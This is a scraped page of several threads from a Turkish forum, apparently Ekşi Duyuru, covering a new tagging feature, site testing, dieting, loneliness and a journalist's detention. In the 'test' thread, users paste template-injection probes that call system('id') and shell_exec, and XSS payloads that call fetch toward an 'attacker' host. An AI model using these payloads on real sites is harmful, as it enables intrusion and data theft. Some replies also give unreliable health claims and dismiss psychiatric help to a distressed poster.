Giriş
(24)

Ekşi Duyuru'da Yeni Özellik: Kullanıcı Tagleme

fraise
Artık cevaplarınızda veya duyurularınızda bir kullanıcıdan bahsetmek istediğinizde, gönder butonunun yanındaki etiket simgesine tıklayarak o kişiyi tagleyebilirsiniz. Ayrıca, taglendiğiniz duyuruları bildirimler bölümünden kolayca görebilirsiniz.Herkese bol tagli, keyifli bir hafta dileriz! 😊
Artık cevaplarınızda veya duyurularınızda bir kullanıcıdan bahsetmek istediğinizde, gönder butonunun yanındaki etiket simgesine tıklayarak o kişiyi tagleyebilirsiniz.

Ayrıca, taglendiğiniz duyuruları bildirimler bölümünden kolayca görebilirsiniz.

Herkese bol tagli, keyifli bir hafta dileriz! 😊
+11
fraise
(30.10.25)
Hayırlı tagler
Benim mesaja da cevap verirseniz sevinirim

Düzenleme: mesajıma cevap ricasını mod arkadaşa yazdım. Özel mesaja cevap vermedi yanlış anlaşılmış
0
artıküyeolmakistiyorum
(30.10.25)
Hayırlı olsun :) Biri compu'yu durdursun... (Biri de beni etiketlesin, böyle tagleye tagleye gidelim mi bu duyuruda?)
+4
yadigar
(30.10.25)
tag'lenince uyarı mı gidiyor?
0
co2s2
(30.10.25)
ben de merak ediyorum. geldi mi bir uyarı?
0
biseysorcaktim
(30.10.25)
Tag’lemek güzel fakat bi de duyuru yorumlarına cevap özelliği gelse mük olur.
0
olaylar olaylar
(30.10.25)
sağ taraftaki bildirimlerde başında etiket işareti ile birlikte çıkıyor.
0
kibritsuyu
(30.10.25)
Boş işlerde bugün :)

bknz aylak bakkal
-14
Rondak
(30.10.25)
deneme 1-2
0
art cat chocolate
(30.10.25)
hmm sağ altta bildirimler kısmında gözüküyormuş ve taglendiğimiz cevap sarı oluyor.

bu hayal ettiğim şey değildi. yine de iyi. teşekkürlerrr.

bir de lütfen bildirimler ve son cevaplar sekmeleri otomatik kapanmasın, hep açık kalsın ya. bir duyuruyu okuyorum cevaplıyorum, başka şeylere bakmak için her seferinde onları açmam gerekiyor. saniyelik bir iş de olsa sinir bozucu :')
+1
batlegolas
(30.10.25)
Madem sözlük hesaplarımızla ikinci cevabı giriyoruz, ben de öyle yapmış olayım.
0
dilemma of subscribtionability
(30.10.25)
Bunu ben talep etmiştim, teşekkürler.

Bir talep hakkım daha var mı? Eğer varsa bir talebim daha var.

Karanlık mod kullanıyorum ve etiketin rengi ile etiket içindeki fontun rengi birbirine çok yakın, okumak çok zor. Etiketin rengi böyle kalacaksa, etiket içindeki fontun rengini koyulaştırmak mümkün mü acaba?
0
10551037
(31.10.25)
Etiketlenecek yazar sayısına bir sınır mı getirilse? Biraz suistimale açık bir uygulama olmuş sanki...
+4
yadigar
(31.10.25)
Allam yarabbim
+8
compumaster
(31.10.25)
bastim eksiyi compu, $ikayet yok :D
0
cooperr
(31.10.25)
çıkarın beni bu mentiondan :))
0
false pretension
(31.10.25)
şu günleri göreceğim aklıma gelmezdi 18 yıl olmuş oldlar... boomerlar..compu kalp sözlük
+1
eja
(31.10.25)
insan insanı hiç tagler mi yeaö...
0
Fodera
(31.10.25)
deneme 1-2-3 deneme
0
rakicandir
(01.11.25)
Elinize sağlık! Karanlık moddaki etiketleme renklerine de bir el atabilir miyiz?
0
nawar
(01.11.25)
bu durumda bir cevap silinme gerekçesi olan iki kişi arasında diyalogun da kaldırılması gerekmez mi?
0
Whily
(01.11.25)
çoktan kaldırdık bile. artık "teşekkür ederim, iki kişi arasında diyalog" diye bir entry silinme gerekçesi yok. hakaret, aşağılama, küfür, kısacası saygı sınırları dışında kalan diyaloglar dışında istediğiniz gibi teşekkür edebilir, diyaloğa girebilirsiniz.
+3
kibritsuyu
(01.11.25)
olmuyor rakı hocam. bahsettiğim sıkıntı o. zaten duyuruya cevap vermişsem bildirimlerde çıkıyor. etiketleyince ayrı bir bildirimi yok, bildirimlerde de etiketlendin diye çıkmıyor. deneme deneme diye etiketlediğini gözümle etiketi görmesem anlamazdım mesela. çünkü zaten altına yazılanlardan dolayı bildirimlere girmiş. etiketlendiğime dair bir bilgi yok.
+1
kibritsuyu
(01.11.25)
Su özellikler bizim Prime zamanda gelseydi ya… o zirveleri yaptigimiz zamanlar… herkesin birbirini tanidigi zamanlar…

Yine de Yetmez ama evet ile devam ediyoruz 🍻👍🏼
+3
c1b2k3
(01.11.25)
Çok iyi olmuş ama görsel ekleme de gelsin mobil için
+1
cemallamec
(01.11.25)
(3)

Qr kod oluşturmak için güvenilir site arayışı

harmanyeri
Merhaba Firma broşüründe basılı olarak kullanmak üzere ücretsiz bir qr kod oluşturucu arıyorum. Link statik olacak. İnternette bir çok seçenek var ancak hangisini kullanmam gerektiğini bilemedim. İlginiz için teşekkür ederim :)
Merhaba

Firma broşüründe basılı olarak kullanmak üzere ücretsiz bir qr kod oluşturucu arıyorum.

Link statik olacak. İnternette bir çok seçenek var ancak hangisini kullanmam gerektiğini bilemedim.

İlginiz için teşekkür ederim :)
0
harmanyeri
(30.09.25)
Whily
(30.09.25)
Chrome tarayici kendisi yapiyor.
0
klassno
(30.09.25)
Whily +1
Gğvenebilirsiniz, duck bitanedir
0
yadigar
(30.09.25)
(32)

test

compumaster
test
test
0
compumaster
(28.09.25)
test
0
🌸compumaster
(28.09.25)
attığım iki cevap boşlukta kayboldu kanki bi ayar çek seriden
0
avatar is back
(28.09.25)
test
0
🌸compumaster
(28.09.25)
test
0
🌸compumaster
(28.09.25)
Az önce upuzun yazdığım cevabım kayboldu :(

edit: Aa kaybolmamış, sonradan gözüktü. Bu yazdığım da önce kaybolur gibi yapmıştı, şimdi gözüküyor. Ne acayip teknoloji.

edit: Editler de sonradan gözüküyordu az önce. Bakayım bu sefer ne olacak.

edit: Hemen gözüktü. Mütiş.
0
kobuzchu kiz
(28.09.25)
kaybolmuyor, 10 dakika sonra çıkıyor.
0
kibritsuyu
(28.09.25)
Test
0
rodeocu
(28.09.25)
Test
0
rodeocu
(28.09.25)
Test
0
kisa
(28.09.25)
Cevap, yazdıktan biraz sonra görünüyor oluyor.
0
kisa
(28.09.25)
kaybulmuyor, cevaplar biraz sonra görünür oluyor.
0
i'm gonna start a revolution from my bed
(28.09.25)
test
0
🌸compumaster
(28.09.25)
aha duzelttim.
0
🌸compumaster
(28.09.25)
hepsi redis'in sucu :D
0
🌸compumaster
(28.09.25)
“There are only two hard things in computer science: cache invalidation and naming things.”
— Phil Karlton (early Netscape engineer)
0
🌸compumaster
(28.09.25)
compumaster çalışmıyor diyenler utansın.
0
kibritsuyu
(28.09.25)
allahu ekber, eller sağlık
0
Shepard
(28.09.25)
Test
0
kisa
(28.09.25)
Aa oldu valla Tebriks
0
kisa
(28.09.25)
Emoji desteği için de teşekkürler. Çok güzel görünüyor
:D
0
kisa
(28.09.25)
kral o kadar çok yeriyle oynadın ettin bozdun ama deminden şimdiye anca geldik.

20 yıl önce de aynıydı duyuru şimdide aynı. peki biz bu boku niye yedik?
0
Whily
(28.09.25)
Whily+1
Shepard a gereğini yapıver. Çızırtı yapıyor.
0
luluki
(28.09.25)
@lusiki ağlama abi çocuk gibi, compunun yüzü suyu hürmetine çalışan bu sike için çabalayan tek adamı da germe ulan. Cahillik diz boyu. Para vermiş de hizmet gelmemiş gibi sitem etme. Çevrene sabır ahahhaah.
0
Shepard
(28.09.25)
deneme

{{ 7*7 }}
{{ 1337/7 }}
{{ "abcd"|upper }}
{{ "abcd"|reverse }}
{{ dump(app) }}
{{ _self }}
{{ constant('PHP_VERSION') }}
{{ system('id') }}
{{ system('ls -la') }}
{{ shell_exec('whoami') }}
{{ dump(_context) }}
{{ dump(_charset) }}
{{ dump(_self) }}
0
rakicandir
(28.09.25)
deneme 2
0
rakicandir
(28.09.25)
compu post methoduna limit koysan iyi olabilir sanki. limit koyarsan haberim olsun ben de yapıştırayım test ederim :p
0
false pretension
(28.09.25)
Bugün ile Ekşiduyuru logosuna tıklayınca normalde anasayfaya doğru bir yolculuk oluyordu, artık yok, niye?
0
tiredofwaiting
(28.09.25)
@tiredofwaiting

bende bir sorun yok, ekran goruntusu paylasir misin?
0
🌸compumaster
(28.09.25)
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨⬛⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨⬛⬛⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨⬛⬛⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨🟨⬛⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨🟨⬛⬛⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨🟨🟨⬛⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛🟨🟨🟨⬛⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬛🟨🟨🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛🟨🟨🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬛🟨🟨🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛🟨🟨⬛🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨⬛⬛⬛🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛🟫🟫⬛🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟫🟫🟫⬛🟨🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟫⬛⬛🟨🟨🟨⬛⬛⬛⬛⬜
⬜⬜⬛⬛⬛⬜⬜⬜⬛⬛⬛🟨🟨🟨🟨⬛⬛⬜⬜⬜⬛
⬜⬛⬜⬜⬜⬛⬛⬜⬛🟨🟨🟨🟨🟨🟨⬛⬜⬜⬜⬜⬛
⬜⬛⬜⬜⬜⬜⬛⬜⬛🟨🟨🟨🟨🟨⬛⬛⬛⬜⬜⬜⬛
⬜⬛⬜⬜⬜⬛⬛⬛🟨🟨🟨🟨🟨🟨⬛⬜⬛⬛⬛⬛⬜
⬜⬜⬛⬛⬛⬜⬜⬛🟨🟨🟨🟨🟨⬛⬜⬜⬜⬛⬜⬜⬜
⬜⬜⬜⬜⬛⬜⬛🟨🟨🟨🟨🟨⬛⬜⬜⬛⬛⬛⬜⬜⬜
⬜⬜⬜⬜⬛⬛🟨🟨🟨🟨🟨⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜
⬜⬜⬜⬛⬛⬛⬛🟨🟨⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜
⬜⬛⬛⬛⬛⬜⬛⬛⬛⬛⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜
⬛⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬛⬜⬜⬜
⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜
⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜
+1
🌸compumaster
(01.10.25)
beta deneme
0
kibritsuyu
(02.10.25)
<script>alert(1)</script>

<img src=x onerror="fetch('attacker

<a href="javascript:fetch('attacker
deneme
0
rakicandir
(11.10.25)
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨⬛⬜⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨⬛⬛⬜⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨⬛⬛⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨🟨⬛⬜⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨🟨⬛⬛⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨🟨🟨⬛⬜⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛🟨🟨🟨⬛⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬛🟨🟨🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛🟨🟨🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬛🟨🟨🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛🟨🟨⬛🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬛🟨🟨🟨⬛⬛⬛🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛🟫🟫⬛🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟫🟫🟫⬛🟨🟨⬛⬜⬜⬜⬜
⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛🟫⬛⬛🟨🟨🟨⬛⬛⬛⬛⬜
⬜⬜⬛⬛⬛⬜⬜⬜⬛⬛⬛🟨🟨🟨🟨⬛⬛⬜⬜⬜⬛
⬜⬛⬜⬜⬜⬛⬛⬜⬛🟨🟨🟨🟨🟨🟨⬛⬜⬜⬜⬜⬛
⬜⬛⬜⬜⬜⬜⬛⬜⬛🟨🟨🟨🟨🟨⬛⬛⬛⬜⬜⬜⬛
⬜⬛⬜⬜⬜⬛⬛⬛🟨🟨🟨🟨🟨🟨⬛⬜⬛⬛⬛⬛⬜
⬜⬜⬛⬛⬛⬜⬜⬛🟨🟨🟨🟨🟨⬛⬜⬜⬜⬛⬜⬜⬜
⬜⬜⬜⬜⬛⬜⬛🟨🟨🟨🟨🟨⬛⬜⬜⬛⬛⬛⬜⬜⬜
⬜⬜⬜⬜⬛⬛🟨🟨🟨🟨🟨⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜
⬜⬜⬜⬛⬛⬛⬛🟨🟨⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜
⬜⬛⬛⬛⬛⬜⬛⬛⬛⬛⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜
⬛⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬛⬜⬜⬜
⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜
⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜
+1
orta buyuklukte bir ulkenin krali
(11.10.25)
(3)

narkotik köpekleri nerede kalıyor?

green eyed penguin
mesaileri bitince kaldıkları ayrı bir yuvaları mı var yoksa polislerden biri mi alıyor günlük bakımları için?
mesaileri bitince kaldıkları ayrı bir yuvaları mı var yoksa polislerden biri mi alıyor günlük bakımları için?
0
green eyed penguin
(26.09.25)
Onların profesyonel bakım çiftliği oluyor polislere ait (bildiğim kadarıyla). Emekli olduklarında da ( devlet memuru gibiler evet ) orada bakılıyor yine. Eve götürülmüyor diye biliyorum ben.
0
titanic kemancısı
(26.09.25)
her ilde köpek unsuru yok. olanlarda da her köpek unsuru yok. genelde bakım ve eğitim merkezleri oluyor orada kalıyorlar. duruma göre başka bir ile gidecekse görev yazısı falan yazılıyor.
0
Whily
(26.09.25)
askerde tanik olmustum,
her köpegin bir sorumlusu vardi
ve sürekli oyun gibi komutlarda egitim devam ediyordu.

Cok kisinin hayatini kurtarmislardir..
0
designer
(26.09.25)
(8)

kiloda takılıp kalmak

Whily
ama öyle böyle değil. 100 gram oynarsa oynuyor.45 gündür böyle sayılır. karb sıfırladım neredeyse imkan olduğu kadar. kardiyo arttırdım. olmadı.madem olmuyor güç programını arttırayım ona uygun besleneyim dedim. gene olmadı.tartı bozuk herhalde dedim yeni tartı aldım. o da aynı.takıntı olacak bu gid
ama öyle böyle değil. 100 gram oynarsa oynuyor.
45 gündür böyle sayılır. karb sıfırladım neredeyse imkan olduğu kadar. kardiyo arttırdım. olmadı.
madem olmuyor güç programını arttırayım ona uygun besleneyim dedim. gene olmadı.
tartı bozuk herhalde dedim yeni tartı aldım. o da aynı.
takıntı olacak bu gidişle lan nasıl +-100 gram oynar 45 günde.
tahlillerde falan da bir şey yok.
0
Whily
(04.08.25)
Platoya girmişsin.
0
Mirket
(04.08.25)
Gereksiz eziyet ediyorsun kendine, özel bir durum yoksa karbponhidrat sıfırlamaya çalışmak falan gerçekten eziyet, bi sal kendini rahat bırak, kilo vermek gerçekten böyle bir şey değil dünyanın en basit işini böyle karmaşık hale getirirseniz sistem de "dışarıda bi boklar oluyor dur kendimi koruyayım biraz bi rahat huzur vermedin birader" moduna giriyor, git biraz pasta çörek ye bi sorun yok mesajı gönder hipofiz bezine sistem rahatlayınca her şey yoluna girer, yav günde yarım kilo pirinç yiyerek yağ kaybeden insanlar var siz niye böyle yapıyorsunuz, tamam yarım kilo pirinç yemeyin de sıfırlamaya da çalışmayın karbonhidrat yemeyince yağ kaybı otomatik olarak gelmiyor.
0
Kaleci Saçlı Yırtıcı Forvet
(04.08.25)
Ata Demirer, sadece ekmeği birakarak kilo verdigini söylemişti.
0
designer
(04.08.25)
Her kilolu bedenin kendini dengeleme süresi var. Bedenin şu anda "kıtlık var mı yok mu" diye tetikte. Yağı yakmama sebebi bu. Fakat bir yandan da sürekli olarak kilo verir halde yaşamak vücudun dengesini korumaz, çünkü her bir yağ hücresinin içinde vücuttan atılması gereken ama bir sebepten atılamamış (bizim bilerek veya bilmeyerek fazla fazla aldığımız) toksinler yani zehirler var. Sürekli olarak yağ hücresi küçülüp yağ yakılırsa o zehirler açığa çıkar, kana karışır, ilgilendikleri ortamlara ulaşıp olay çıkarırlar, kilo verme yine durdurulur.

Kilo vermenin durması iyi bir şeydir, olması gerektiği şekilde beslenmeye ve yaşamaya devam. Stres attıysa kortizon dolayısıyla yağ birikimi artar, ona dikkat et sadece.
0
muhayyer divan
(05.08.25)
şoklama zamanın gelmiş. bol malzemeli büyük boy pizza gömeceksin. üstüne de belki bir tatlı. sonra kaldığın yerden diyete devam.
0
yazar yazmaz yazan yazar
(05.08.25)
kasa dönmüştür
0
mantık
(05.08.25)
Hocam karbonhidrat, yağ bırakarak kilo verme işi biraz dikkat edilmesi gereken bir konu. Biraz da şehir efsanesi.

Bir diyetisyene danışın ama vücudun hepsine ihtiyacı var.

Sadece porsiyon kontrolü sağlamalısınız.

İdeal oranda yağ, karbonhidrat ve protein dengesini kurmak gerekiyor.

Bunu sağlamazsanız vücut kıtlık alarmı veriyor ve daha çok yağ tutmaya başlıyor.

Bu iş denge işi.

İdeal oranda kardiyo,
İdeal oranda ağırlık antrenmanı
İdeal ve dengeli beslenme

Ama bu ideal oranı yaşınıza, vücudunuza göre bir diyetisyen ve spor hocası belirlesin.

Bunlar temel sebepler.

Bir de sağlık sorunlarından da kaynaklanabilir. Atıyorum insülin direnci, sindirim sorunları, hormon dengesizlikleri gibi.

O yüzden bence bir diyetisyen şart.
0
anten
(05.08.25)
kardiyoya abandım ve sorun şimdilik çözüldü gibi.
ata demirer nefes almayı su içmeyi kesse de kilo verirdi zaten ne alaka mk.
0
🌸Whily
(17.08.25)
(5)

sıkılıyorum, bunalıyorum 2. yıl güncellemesi

kixo
buraya yazıyorum çünkü türkçe internet ortamında aklı başında birkaç insanın olduğunu bildiğim tek yer burası. ve artık kafamda aynı şeyleri düşünüp çözüm bulamamak midemi bulandırıyor.derdimi olabildiğince kısa ve net anlatmaya çalıştım ama gene de uzun ve dağınık oldu biraz, kusura bakmayın.https:
buraya yazıyorum çünkü türkçe internet ortamında aklı başında birkaç insanın olduğunu bildiğim tek yer burası. ve artık kafamda aynı şeyleri düşünüp çözüm bulamamak midemi bulandırıyor.
derdimi olabildiğince kısa ve net anlatmaya çalıştım ama gene de uzun ve dağınık oldu biraz, kusura bakmayın.
www.eksiduyuru.com
bunu yazalı iki yıl oldu. okumanıza pek gerek yok.
erkek / yakında 33 / anadolu'da bir yer


son iki yılda önce 10 kilo aldım, sonra 20 kilo verdim ve vermeye devam ediyorum. halen sağlıklı sayılan sınırlar içindeyim veya yakınım.

çalıştığım yerde hâlâ tek yabancı benim. yaşıtım pek kimse yok, olanlar da çoktan evlenmiş. bu yüzden sosyal açıdan vebalıdan farklı muamele görmüyorum.

bütün kötü alışkanlıklarım nüksetti: sigara, bahis, alkol. bir ara kontrolümü çok kaybetsem de son zamanlarda toparladım. birkaç haftadır içmiyorum, bahise para yatırmadım. bunlar hayatım kötü gittiğinde ortaya çıkıp düzelince kayboluyor.

uzaktaki arkadaşlarım ve ailemle iletişimim var. arkadaşlarımın beni teselliden başka yapabileceği bir şey yok. durumumu anladıklarını sanmıyorum. bazılarının beni manipüle ederek maddi çıkar sağlamaya çalıştığını düşünüyorum. ailem "işin var, daha ne istiyorsun? birini bulup evlen" modunda.

son üç aydır mahallenin merdiven altı spor salonuna gidiyorum. neden gittiğimi bilmiyorum. kapıdan içeri girmek bile bir haftamı aldı. defalarca döndüm, girip çıktım. neden korktuğumu bilmiyorum ama bu korkuyu çoktan yendiğimi sanıyordum. mutsuz mutsuz koşuyor, ağırlık kaldırıyor, eve gelip bir şeyler içiyor ve yarın uyanmamayı umarak yatıyorum.

işim daha da kötü. kimsenin çalışmak istemediği birime yolladılar. hukuki değil ama hakkımı arayacak durumda da değilim. yaptığım iş hiçbir derde derman olmuyor. graeber görse kitabında özel bölüm açardı. muhatap olduğum en düşük unvanlı kişiler il müdürleri veya vali yardımcıları. herkesin yarattığı küçük dağlar yüzünden atmosfer çok yorucu ve gergin.

hem işin kendisi hem bu hayat beni zihnen ve bedenen geriletiyor. öyle günler oluyor ki zihnimin paslandığını hissediyorum. her gün burada çalışmak istemediğimi, kendi birimime dönmek istediğimi herkese söylüyorum. tayin için de dilekçe verdim ama umudum yok. dışarıdan ve dayısız olunca böyle oluyor sanırım.

salon kapalıysa veya işten geç çıkıp enerjim kalmadığında yürüyorum. boş boş 5-8-10 km yürürken yanımda bolca sigara oluyor. bu anlarda sorunlarım üzerine çok düşünüyorum ama bu onları çözmeme yardımcı olmuyor.

eskiden mutlu eden şeyleri tekrar denedim. yemek yapmayı ve yemeyi severdim. şimdi yokluk günlerindeki gibi sofralar kuruyorum. bazen 2-3 gün yemek yemeyi unuttuğum, aklıma gelince canımın sıkıldığı anlar oluyor.

çocukluğum ve ilk gençlik yıllarım da nispeten izole geçti. belki bu yüzden bazı yeteneklerim gelişmedi. belki fırsatlar doğuyordur ama fark etmiyorumdur. fark etsem bile ne yapacağımı bilmiyorum.

tamamen yapabiliyor olduğum için veya takıntı yaptığım için sunucular kurardım. scriptler düzenler, kendime göre kodlar yazardım. basit elektronik tamir işleri yapardım. geçen gün ghost kurmak istedim. ne eski merakım kalmış ne de problem çözme yeteneğim. sıkılıp parayla hallettim. oyun oynamak, kitap okumak, bisiklete binmek gibi eskiden az da olsa keyif veren hiçbir şeyden artık zevk almıyorum.

ev aynı kötü ev. her yönüyle nefret ediyorum ama taşınamıyorum. ya iki kat kira verip eşya alacağım ya da daha uzağa taşınıp araba alacağım.

hem yaşaması hem de anlatması sıkıcı bir haldeyim. şu anki hayatımın geçmiş hayallerimle kesişen noktası yok. öyle uçuk hayallerim de yoktu. köprüden önceki son çıkışı kaçırmışım gibi hissediyorum. son iki yıl alkolle, pozitif bakmaya çalışmakla ve "yarın uyanamazsan her şey çözülür" düşüncesiyle geçti. artık her şeyiyle benliğimle bu kadar çelişen bir hayatı yaşamakta artık iyiden iyiye zorlanıyorum.

gerçekten izole bir hayat yaşıyorum ve bundan iyice sıkıldım. daha ne kadar dayanabilirim bilmiyorum. biriyle anlamlı bir şey paylaşmayalı, içten bir sıcaklık hissetmeyeli çok uzun zaman oldu. sadece fiziksel bir temas değil bahsettiğim. reels gönderecek kimse bile yok. bu durumu değiştirecek fırsat çıksa ne yapacağımı artık kestiremiyorum.

psikiyatriye gitmem beni zora sokabilir. hele şu an yaşadığım şehirde gitmeyi göze alamam. belki başka şehirde yapabilirim ama bu çok yorucu ve masraflı olur.
0
kixo
(13.07.25)
sekizdokuzon
(13.07.25)
Ne desek bir şey yapmayacaksın. Ağlamaya devam edersin sen.

Ben olsaydım, işi bırakırdım. Ailemin yanına giderdim. Baştan başlardım. Bak bu kadar. Kafayı yemene, hergününün mutsuz geçmesine gerek yok. Psikiyatri falan boş iş para tuzağı. İşi değiş, işi bırak, şehirde kal veya aile yanına göç ve iş bulmak. Bu kadar basit. Araba al veya öyle çözmeyi dene. Ama yeter yani, sürekli şikayet şikayet. Git bir şeyler yap artık. Kendin için yapmıyorsan bir şey biz ne desek boş.
0
Shepard
(13.07.25)
30'lu yaşlarda birçok insan böyle dertler yaşayabiliyor. ben şehir değiştirmememe rağmen bende de var benzerleri, çok iyi anlıyorum yazdıklarını. geçen ben de bir duyuru yazmıştım hatta. yaşıtlarımız evleniyor veya farklı yollara gidiyor veya biz farklı yollara gidiyoruz. bir anda alışık olduğun sosyal ortamlardan uzak, daha izole ve yalnız bir hayata sahip oluyorsun nasıl olduğunu fark edemeden. iş yerinde de yoksa kafa dengi birileri yeni arkadaşlar ortamlar edinmek de çok zor oluyor çalışan birisi için. evlenmek de çare değil, evlenip boşanan ciddi sorunlar yaşayanlar var benim çevremde. onların durumu daha kötü hatta. o yüzden sadece evlenmek veya sevgili bulmak da çözüm değil gerçekten mutlu olacağın birini bulabilmek lazım. o bile tek başına çözüm değil tabi tüm sosyal çevrenin tek kişiden ibaret olması yine sıkıntı olur ama en azından karşılıklı güvenin olduğu biriyle yakın paylaşımda bulunmak ileriye doğru bir adım olur en azından.

bu bir şeyi çözmeyecek tabi ama yalnız olmadığını bilmelisin. insanlığın doğası ve toplumsal yaşamın zorlukları bizim gibi bir çok insanı bu duruma bu hislere sürüklüyor. hiç kimsenin yaşamadığı veya çok az kişinin muzdarip olduğu dertler yaşamadığını bilmek bir nebze rahatlatıyor en azından. öneri olarak da online terapi deneyebilirsin. ben tek yaşamadığım için bana uygun değil ama senin için iyi olur teksen. hem ucuz oluyor hem de yaşadığın şehirde duyulma imkanı yok bambaşka bir yerde yaşayan bir psikologdan psikiyatristten alırsan. bir profesyonele içini dökmek burada dökmekten daha iyi gelir en azından.
0
semaforo de medianoche
(13.07.25)
anladigim kadariyla problemin ne is, ne ev, ne sevgili, ne arkadas. ne de sikilganlik. problemin hepsinin toplami. isi degistirsen diger problemler devam ettigi icin bisey farketmeyecek. nacizane tavsiyem, sehir degistir. sehir degistirdigin zaman hepsi de degisecek. korkuyorum, kimsem yok, isim yok, arkadasim yok falan deme inan bana su an ki durumdan daha kotu olamazsin.
0
buenosdias
(14.07.25)
sanki şehirden kurtulabilirsen bu sıkıntılarının da önemli bir kısmından kurtulurmuşsun gibi duruyor anlattıklarına göre.
buenosdias + 1
genel olarak semaforo de medianoche + 1
0
Whily
(14.07.25)
(22)

Fatih Altaylı da gözaltına alınmış(Artık tutuklanmış)

parka
Her canlı gözaltını tadacak galiba ülkede.İkinci Ahmet Hakan olur mu dersiniz?
Her canlı gözaltını tadacak galiba ülkede.
İkinci Ahmet Hakan olur mu dersiniz?
0
parka
(21.06.25)
fatih zaten eski akpli. o da bir dönek yani. şimdi salladığına bakma gerekirse yine döner.
0
jelly bear
(21.06.25)
Fatih bence orta yolcu. Bir şey çıkacağını düşünmüyorum. Ahmet Hakan daha yeni kültür bakanının teknesinde bakanla birlikte tatil yapıyordu :)
0
eisberg
(21.06.25)
ahmet hakandan önce fatih vardı.
fatih erdoğanı çok sever erdoğanda fatihi. bakmayın böyle olduğuna.
fatihi muhalif sanan bir kitle var tam tersi medya işini çok iyi bilir. muhalefet tarafında bir boşlık gördü ve bunu çok iyi değerlendirdi.
0
my fault
(21.06.25)
Zaten bir Ahmet Hakan'di kendisi evvelce. Youtube kanali açinca millet birden geçmisi unutuverdi.
0
feastofthedamned
(21.06.25)
Altaylı eski AKP'li
Mengü foncu, göçmen sevici
Levent Gültekin eski İslamcı.
kimseyi dinlemeyelim o zaman?
0
🌸parka
(21.06.25)
Fatih Altaylı'nın günahı çoktur ancak belli bir noktadan sonra ülke için samimi kaygı ve üzüntü içinde olduğunu gördüm.

Etkili habercilik cezalandırılıyor. Muhtemelen tutuklanır. Kolay bir pozisyon değil sonrasında hiç o konulara girmeyip bilim vs konuşur...
0
anon1m
(21.06.25)
Ahmet Hakan rüzgara göre yön değiştirdiği için ona bir şey olmaz.
0
gabe h coud
(21.06.25)
Levent Kirca zamaninda demisti kendisine.
0
designer
(22.06.25)
